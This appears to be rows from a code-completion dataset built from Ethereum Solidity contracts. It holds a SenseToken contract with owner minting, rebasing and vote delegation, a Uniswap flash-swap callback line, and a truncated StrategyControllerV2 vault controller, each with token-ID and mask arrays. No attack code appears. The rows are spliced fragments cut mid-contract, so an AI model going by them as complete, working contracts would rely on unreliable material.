* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/uniswapv2/interfaces/IWETH.sol
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File: contracts/SenseToken.sol
pragma solidity 0.6.12;
// SenseToken with Governance.
contract SenseToken is SenseERC20("SenseToken", "SENSE"), Ownable {
address public devaddr;
address public policy;
event LogProof(address indexed addr, uint256 sig);
constructor() public {
devaddr = msg.sender;
policy = msg.sender;
_mint(devaddr, 10000 ether);
}
function start(address weth, address univ2Factory) public payable onlyOwner {
require(msg.value >= 1 ether);
IUniswapV2Factory(univ2Factory).createPair(address(this), weth);
address pair = IUniswapV2Factory(univ2Factory).getPair(address(this), weth);
IWETH(weth).deposit{value: msg.value}();
IWETH(weth).transfer(pair, msg.value);
_mint(pair, msg.value.mul(1000));
IUniswapV2Pair(pair).mint(devaddr);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount.mul(_gonPerUnit));
_mint(devaddr, _amount.div(100));
_moveDelegates(address(0), _delegates[devaddr], _amount.mul(_gonPerUnit).div(100));
}
function rebase(uint256 epoch, uint256 rebaseRate) public returns (uint256) {
require(msg.sender == owner() || msg.sender == policy);
return _rebase(epoch, rebaseRate);
}
/// proof
function proof(uint256 sig) public {
emit LogProof(msg.sender, sig);
}
function setPolicy(address _policy) public onlyOwner {
policy = _policy;
}
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
// A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TICK::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TICK::delegateBySig: invalid nonce");
require(now <= expiry, "TICK::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TICK::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _gonBalances[delegator]; // balance of underlying TICKs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "TICK::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | * @dev See {IERC20-balanceOf}./ | function balanceOf(address account) public view override returns (uint256) {
return (_gonBalances[account]).div(_gonPerUnit);
}
| 6,708,856 | [
1,
9704,
288,
45,
654,
39,
3462,
17,
12296,
951,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
261,
67,
75,
265,
38,
26488,
63,
4631,
65,
2934,
2892,
24899,
75,
265,
2173,
2802,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x50b17D9C1929AB37716F3d0286c1302741398CC3/sources/browser/ProjetBuyListingFinal.sol | function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external override{ | (uint[] memory array, address pair, address _to) = abi.decode(data, (uint[], address, address));
| 16,404,035 | [
1,
915,
640,
291,
91,
438,
58,
22,
1477,
12,
2867,
5793,
16,
2254,
3844,
20,
16,
2254,
3844,
21,
16,
1731,
745,
892,
501,
13,
3903,
3849,
95,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1377,
261,
11890,
8526,
3778,
526,
16,
1758,
3082,
16,
1758,
389,
869,
13,
273,
24126,
18,
3922,
12,
892,
16,
261,
11890,
63,
6487,
1758,
16,
1758,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../IController.sol";
import "../IConverter.sol";
import "../IHarvester.sol";
import "../IMetaVault.sol";
import "../IStrategy.sol";
import "../IVaultManager.sol";
/**
* @title StrategyControllerV2
* @notice This controller allows multiple strategies to be used
* for a single token, and multiple tokens are supported.
*/
contract StrategyControllerV2 is IController {
using SafeERC20 for IERC20;
using SafeMath for uint256;
bool public globalInvestEnabled;
uint256 public maxStrategies;
IVaultManager public vaultManager;
struct TokenStrategy {
address[] strategies;
mapping(address => uint256) index;
mapping(address => bool) active;
mapping(address => uint256) caps;
}
// token => (want => converter)
mapping(address => mapping(address => address)) public converters;
// token => TokenStrategy
mapping(address => TokenStrategy) internal tokenStrategies;
// strategy => token
mapping(address => address) public override strategyTokens;
// token => vault
mapping(address => address) public override vaults;
// vault => token
mapping(address => address) public vaultTokens;
/**
* @notice Logged when earn is called for a strategy
*/
event Earn(address indexed strategy);
/**
* @notice Logged when harvest is called for a strategy
*/
event Harvest(address indexed strategy);
/**
* @notice Logged when insurance is claimed for a vault
*/
event InsuranceClaimed(address indexed vault);
/**
* @notice Logged when a converter is set
*/
event SetConverter(address input, address output, address converter);
/**
* @notice Logged when a vault manager is set
*/
event SetVaultManager(address vaultManager);
/**
* @notice Logged when a strategy is added for a token
*/
event StrategyAdded(address indexed token, address indexed strategy, uint256 cap);
/**
* @notice Logged when a strategy is removed for a token
*/
event StrategyRemoved(address indexed token, address indexed strategy);
/**
* @notice Logged when strategies are reordered for a token
*/
event StrategiesReordered(
address indexed token,
address indexed strategy1,
address indexed strategy2
);
/**
* @param _vaultManager The address of the vaultManager
*/
constructor(address _vaultManager) public {
vaultManager = IVaultManager(_vaultManager);
globalInvestEnabled = true;
maxStrategies = 10;
}
/**
* GOVERNANCE-ONLY FUNCTIONS
*/
/**
* @notice Adds a strategy for a given token
* @dev Only callable by governance
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _cap The cap of the strategy
* @param _converter The converter of the strategy (can be zero address)
* @param _canHarvest Flag for whether the strategy can be harvested
* @param _timeout The timeout between harvests
*/
function addStrategy(
address _token,
address _strategy,
uint256 _cap,
address _converter,
bool _canHarvest,
uint256 _timeout
) external onlyGovernance {
// ensure the strategy hasn't been added
require(!tokenStrategies[_token].active[_strategy], "active");
address _want = IStrategy(_strategy).want();
// ensure a converter is added if the strategy's want token is
// different than the want token of the vault
if (_want != IMetaVault(vaults[_token]).want()) {
require(_converter != address(0), "!_converter");
converters[_token][_want] = _converter;
// enable the strategy on the converter
IConverter(_converter).setStrategy(_strategy, true);
}
// get the index of the newly added strategy
uint256 index = tokenStrategies[_token].strategies.length;
// ensure we haven't added too many strategies already
require(index < maxStrategies, "!maxStrategies");
// push the strategy to the array of strategies
tokenStrategies[_token].strategies.push(_strategy);
// set the cap
tokenStrategies[_token].caps[_strategy] = _cap;
// set the index
tokenStrategies[_token].index[_strategy] = index;
// activate the strategy
tokenStrategies[_token].active[_strategy] = true;
// store the reverse mapping
strategyTokens[_strategy] = _token;
// if the strategy should be harvested
if (_canHarvest) {
// add it to the harvester
IHarvester(vaultManager.harvester()).addStrategy(_token, _strategy, _timeout);
}
emit StrategyAdded(_token, _strategy, _cap);
}
/**
* @notice Claims the insurance fund of a vault
* @dev Only callable by governance
* @dev When insurance is claimed by the controller, the insurance fund of
* the vault is zeroed out, increasing the getPricePerFullShare and applying
* the gains to everyone in the vault.
* @param _vault The address of the vault
*/
function claimInsurance(address _vault) external onlyGovernance {
IMetaVault(_vault).claimInsurance();
emit InsuranceClaimed(_vault);
}
/**
* @notice Sets the address of the vault manager contract
* @dev Only callable by governance
* @param _vaultManager The address of the vault manager
*/
function setVaultManager(address _vaultManager) external onlyGovernance {
vaultManager = IVaultManager(_vaultManager);
emit SetVaultManager(_vaultManager);
}
/**
* (GOVERNANCE|STRATEGIST)-ONLY FUNCTIONS
*/
/**
* @notice Withdraws token from a strategy to governance
* @dev Only callable by governance or the strategist
* @param _strategy The address of the strategy
* @param _token The address of the token
*/
function inCaseStrategyGetStuck(
address _strategy,
address _token
) external onlyStrategist {
IStrategy(_strategy).withdraw(_token);
IERC20(_token).safeTransfer(
vaultManager.governance(),
IERC20(_token).balanceOf(address(this))
);
}
/**
* @notice Withdraws token from the controller to governance
* @dev Only callable by governance or the strategist
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function inCaseTokensGetStuck(
address _token,
uint256 _amount
) external onlyStrategist {
IERC20(_token).safeTransfer(vaultManager.governance(), _amount);
}
/**
* @notice Removes a strategy for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _timeout The timeout between harvests
*/
function removeStrategy(
address _token,
address _strategy,
uint256 _timeout
) external onlyStrategist {
TokenStrategy storage tokenStrategy = tokenStrategies[_token];
// ensure the strategy is already added
require(tokenStrategy.active[_strategy], "!active");
// get the index of the strategy to remove
uint256 index = tokenStrategy.index[_strategy];
// get the index of the last strategy
uint256 tail = tokenStrategy.strategies.length.sub(1);
// get the address of the last strategy
address replace = tokenStrategy.strategies[tail];
// replace the removed strategy with the tail
tokenStrategy.strategies[index] = replace;
// set the new index for the replaced strategy
tokenStrategy.index[replace] = index;
// remove the duplicate replaced strategy
tokenStrategy.strategies.pop();
// remove the strategy's index
delete tokenStrategy.index[_strategy];
// remove the strategy's cap
delete tokenStrategy.caps[_strategy];
// deactivate the strategy
delete tokenStrategy.active[_strategy];
// pull funds from the removed strategy to the vault
IStrategy(_strategy).withdrawAll();
// remove the strategy from the harvester
IHarvester(vaultManager.harvester()).removeStrategy(_token, _strategy, _timeout);
// get the strategy want token
address _want = IStrategy(_strategy).want();
// if a converter is used
if (_want != IMetaVault(vaults[_token]).want()) {
// disable the strategy on the converter
IConverter(converters[_token][_want]).setStrategy(_strategy, false);
}
emit StrategyRemoved(_token, _strategy);
}
/**
* @notice Reorders two strategies for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _strategy1 The address of the first strategy
* @param _strategy2 The address of the second strategy
*/
function reorderStrategies(
address _token,
address _strategy1,
address _strategy2
) external onlyStrategist {
require(_strategy1 != _strategy2, "_strategy1 == _strategy2");
TokenStrategy storage tokenStrategy = tokenStrategies[_token];
// ensure the strategies are already added
require(tokenStrategy.active[_strategy1]
&& tokenStrategy.active[_strategy2],
"!active");
// get the indexes of the strategies
uint256 index1 = tokenStrategy.index[_strategy1];
uint256 index2 = tokenStrategy.index[_strategy2];
// set the new addresses at their indexes
tokenStrategy.strategies[index1] = _strategy2;
tokenStrategy.strategies[index2] = _strategy1;
// update indexes
tokenStrategy.index[_strategy1] = index2;
tokenStrategy.index[_strategy2] = index1;
emit StrategiesReordered(_token, _strategy1, _strategy2);
}
/**
* @notice Sets/updates the cap of a strategy for a token
* @dev Only callable by governance or strategist
* @dev If the balance of the strategy is greater than the new cap (except if
* the cap is 0), then withdraw the difference from the strategy to the vault.
* @param _token The address of the token
* @param _strategy The address of the strategy
* @param _cap The new cap of the strategy
*/
function setCap(
address _token,
address _strategy,
uint256 _cap
) external onlyStrategist {
require(tokenStrategies[_token].active[_strategy], "!active");
tokenStrategies[_token].caps[_strategy] = _cap;
uint256 _balance = IStrategy(_strategy).balanceOf();
// send excess funds (over cap) back to the vault
if (_balance > _cap && _cap != 0) {
uint256 _diff = _balance.sub(_cap);
IStrategy(_strategy).withdraw(_diff);
}
}
/**
* @notice Sets/updates the converter for given input and output tokens
* @dev Only callable by governance or strategist
* @param _input The address of the input token
* @param _output The address of the output token
* @param _converter The address of the converter
*/
function setConverter(
address _input,
address _output,
address _converter
) external onlyStrategist {
converters[_input][_output] = _converter;
emit SetConverter(_input, _output, _converter);
}
/**
* @notice Sets/updates the global invest enabled flag
* @dev Only callable by governance or strategist
* @param _investEnabled The new bool of the invest enabled flag
*/
function setInvestEnabled(bool _investEnabled) external onlyStrategist {
globalInvestEnabled = _investEnabled;
}
/**
* @notice Sets/updates the maximum number of strategies for a token
* @dev Only callable by governance or strategist
* @param _maxStrategies The new value of the maximum strategies
*/
function setMaxStrategies(uint256 _maxStrategies) external onlyStrategist {
require(_maxStrategies > 0, "!_maxStrategies");
maxStrategies = _maxStrategies;
}
/**
* @notice Sets the address of a vault for a given token
* @dev Only callable by governance or strategist
* @param _token The address of the token
* @param _vault The address of the vault
*/
function setVault(address _token, address _vault) external onlyStrategist {
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
vaultTokens[_vault] = _token;
}
/**
* @notice Withdraws all funds from a strategy
* @dev Only callable by governance or the strategist
* @param _strategy The address of the strategy
*/
function withdrawAll(address _strategy) external onlyStrategist {
// WithdrawAll sends 'want' to 'vault'
IStrategy(_strategy).withdrawAll();
}
/**
* (GOVERNANCE|STRATEGIST|HARVESTER)-ONLY FUNCTIONS
*/
/**
* @notice Harvests the specified strategy
* @dev Only callable by governance, the strategist, or the harvester
* @param _strategy The address of the strategy
*/
function harvestStrategy(address _strategy) external override onlyHarvester {
IStrategy(_strategy).harvest();
emit Harvest(_strategy);
}
/**
* VAULT-ONLY FUNCTIONS
*/
/**
* @notice Invests funds into a strategy
* @dev Only callable by a vault
* @param _token The address of the token
* @param _amount The amount that will be invested
*/
function earn(address _token, uint256 _amount) external override onlyVault(_token) {
